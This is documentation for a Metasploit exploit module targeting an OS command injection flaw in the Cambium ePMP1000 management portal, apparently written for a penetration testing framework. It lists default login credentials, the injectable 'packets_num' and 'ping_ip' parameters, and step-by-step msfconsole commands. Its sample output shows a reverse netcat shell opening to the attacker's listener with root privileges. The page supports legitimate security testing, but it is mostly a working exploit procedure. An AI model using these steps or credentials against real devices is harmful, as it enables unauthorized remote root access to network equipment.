metasploit-gs/documentation/modules/exploit/linux/http/epmp1000_ping_cmd_shell.md

This module exploits an OS Command Injection vulnerability in Cambium ePMP1000 device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to set up a reverse netcat shell.

This module injects the payload in 'packets_num' parameter. Alternatively, a second, vulnerable parameter 'ping_ip' can also be used.

Note: `cmd/unix/reverse_netcat` is the only payload that seems to work and is stable. After the session is opened, there may be a slight delay in response after first command is issued. There are no delays in receiving responses to subsequent command(s). It is recommended to use 'exploit -j'.

## Verification Steps

1. Do: ```use exploit/unix/http/epmp1000_ping_cmd_shell```
2. Do: ```set RHOST [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```set LHOST [IP]```
5. Do: ```exploit -j```

## Sample Output

  ```
msf > use use exploit/unix/http/epmp1000_ping_cmd_shell
msf exploit(epmp1000_ping_cmd_shell) > set RHOST 192.168.0.2
msf exploit(epmp1000_ping_cmd_shell) > set RPORT 80
msf exploit(epmp1000_ping_cmd_shell) > set LHOST 192.168.0.104
msf exploit(epmp1000_ping_cmd_shell) > exploit -j

[*] Started reverse TCP handler on 192.168.0.104:4444
[+] SUCCESSFUL LOGIN - 192.168.0.2:80 - "installer":"installer"
[*] Sending payload...
[*] Command shell session 10 opened (192.168.0.104:4444 -> 192.168.0.2:43594) at 2017-12-02 06:08:00 +0700

msf exploit(epmp1000_ping_cmd_shell) > sessions -l

Active sessions
===============

  Id  Type            Information  Connection
  --  ----            -----------  ----------
  10   shell cmd/unix               192.168.0.104:4444 -> 192.168.0.2:43594 (192.168.0.2)

msf exploit(epmp1000_ping_cmd_shell) > sessions -i 10
[*] Starting interaction with 10...

id
uid=0(root) gid=0(root)

  ```